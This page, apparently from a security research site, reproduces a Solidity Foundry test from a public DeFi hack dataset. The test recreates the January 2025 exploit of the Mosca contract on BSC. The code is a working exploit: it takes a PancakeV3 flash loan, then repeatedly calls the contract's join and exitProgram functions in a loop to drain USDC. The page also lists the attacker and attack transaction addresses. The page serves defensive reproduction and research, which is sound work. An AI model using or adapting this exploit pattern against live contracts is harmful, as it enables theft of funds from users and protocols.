Public reproduction file

src/test/2025-01/Mosca_exp.sol

Public reproduction file for dataset entry Mosca.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-01/Mosca_exp.sol74 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : 19K
7// Attacker : https://bscscan.com/address/0xb7d7240c207e094a9be802c0f370528a9c39fed5
8// Attack Contract : https://bscscan.com/address/0x851288dcfb39330291015c82a5a93721cc92507a
9// Vulnerable Contract : https://bscscan.com/address/0x1962b3356122d6a56f978e112d14f5e23a25037d
10// Attack Tx : https://bscscan.com/tx/0x4e5bb7e3f552f5ee6ee97db9a9fcf07287aae9a1974e24999690855741121aff
11 
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x1962b3356122d6a56f978e112d14f5e23a25037d#code
14 
15// @Analysis
16// Post-mortem : 
17// Twitter Guy : 
18// Hacking God : 
19pragma solidity ^0.8.0;
20 
21import "../interface.sol";
22 
23interface IMosca {
24    function join(uint256 amount, uint256 _refCode, uint8 fiat, bool enterpriseJoin) external;
25    function buy(uint256 amount, bool buyFiat, uint8 fiat) external;
26    function exitProgram() external;
27}
28 
29 
30contract Mosca is BaseTestWithBalanceLog {
31    uint256 blocknumToForkFrom = 45_519_929;
32 
33    address internal constant USDC = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;
34    address internal constant MOSCA = 0x1962b3356122d6A56f978e112d14f5E23a25037D;
35    address internal constant PancakePool = 0x92b7807bF19b7DDdf89b706143896d05228f3121;
36 
37 
38    function setUp() public {
39        vm.createSelectFork("bsc", blocknumToForkFrom);
40        deal(USDC, address(this), 30_000_000_000_000_000_000);
41        fundingToken = address(USDC);
42    }
43 
44    function testExploit() public balanceLog {
45        IERC20(USDC).approve(MOSCA, type(uint256).max);
46 
47        uint256 amount = 30_000_000_000_000_000_000;
48        uint256 refCode = 0;
49        uint8 fiat = 2;
50        bool enterpriseJoin = false;
51        IMosca(MOSCA).join(amount, refCode, fiat, enterpriseJoin);
52 
53        address recipient = address(this);
54        uint256 amount0 = 0;
55        uint256 amount1 = 1_000_000_000_000_000_000_000;
56        bytes memory data = abi.encode(amount1);
57        IPancakeV3Pool(PancakePool).flash(recipient, amount0, amount1, data);
58    }
59 
60    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes memory data) external {
61        (uint256 amount) = abi.decode(data, (uint256));
62        IMosca(MOSCA).buy(amount, true, 2);
63        IMosca(MOSCA).exitProgram();
64        
65        uint256 joinAmount = 30_000_000_000_000_000_000;
66        
67        for(uint256 i=0;i<20;i++) {
68            IMosca(MOSCA).join(joinAmount, 0, 2, false);
69            IMosca(MOSCA).exitProgram();
70        }
71 
72        IERC20(USDC).transfer(msg.sender, amount+fee1);
73    }
74}

Analysis

Dataset entry

Public Foundry test for “Mosca” (2025-01-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/basetest.solImported by this file · 142 lines
src/test/interface.solImported by this file · 6133 lines
src/test/2025-01/98Token_exp.solSame month in the dataset · 53 lines
src/test/2025-01/AIXBTForcedSwap_exp.solSame month in the dataset · 260 lines
src/test/2025-01/Ast_exp.solSame month in the dataset · 111 lines
src/test/2025-01/HORS_exp.solSame month in the dataset · 92 lines
src/test/2025-01/IdolsNFT_exp.solSame month in the dataset · 81 lines
src/test/2025-01/IPC_exp.solSame month in the dataset · 105 lines
src/test/2025-01/JPulsepot_exp.solSame month in the dataset · 78 lines
src/test/2025-01/LAURAToken_exp.solSame month in the dataset · 204 lines
src/test/2025-01/LPMine_exp.solSame month in the dataset · 96 lines
src/test/2025-01/MCAI_exp.solSame month in the dataset · 89 lines
src/test/2025-01/Mosca2_exp.solSame month in the dataset · 78 lines
src/test/2025-01/ODOS_exp.solSame month in the dataset · 68 lines
src/test/2025-01/Paribus_exp.solSame month in the dataset · 188 lines
src/test/2025-01/RoulettePotV2_exp.solSame month in the dataset · 72 lines
src/test/2025-01/sorraStaking.solSame month in the dataset · 72 lines
src/test/2025-01/Unilend_exp.solSame month in the dataset · 157 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xb7d7240c207e094a9be802c0f370528a9c39fed5
Attack Contract
0x851288dcfb39330291015c82a5a93721cc92507a
Vulnerable Contract
0x1962b3356122d6a56f978e112d14f5e23a25037d

Attack Tx
0x4e5bb7e3f552f5ee6ee97db9a9fcf07287aae9a1974e24999690855741121aff

File record

Name: Mosca
Path: src/test/2025-01/Mosca_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: e9e4429cfefd24d4b0d98c2391e32186b0c40ab3
Language: Solidity
Size: 75 lines
Date: 2025-01-06
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2025-01/Mosca_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e9e4429cfefd24d4b0d98c2391e32186b0c40ab3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.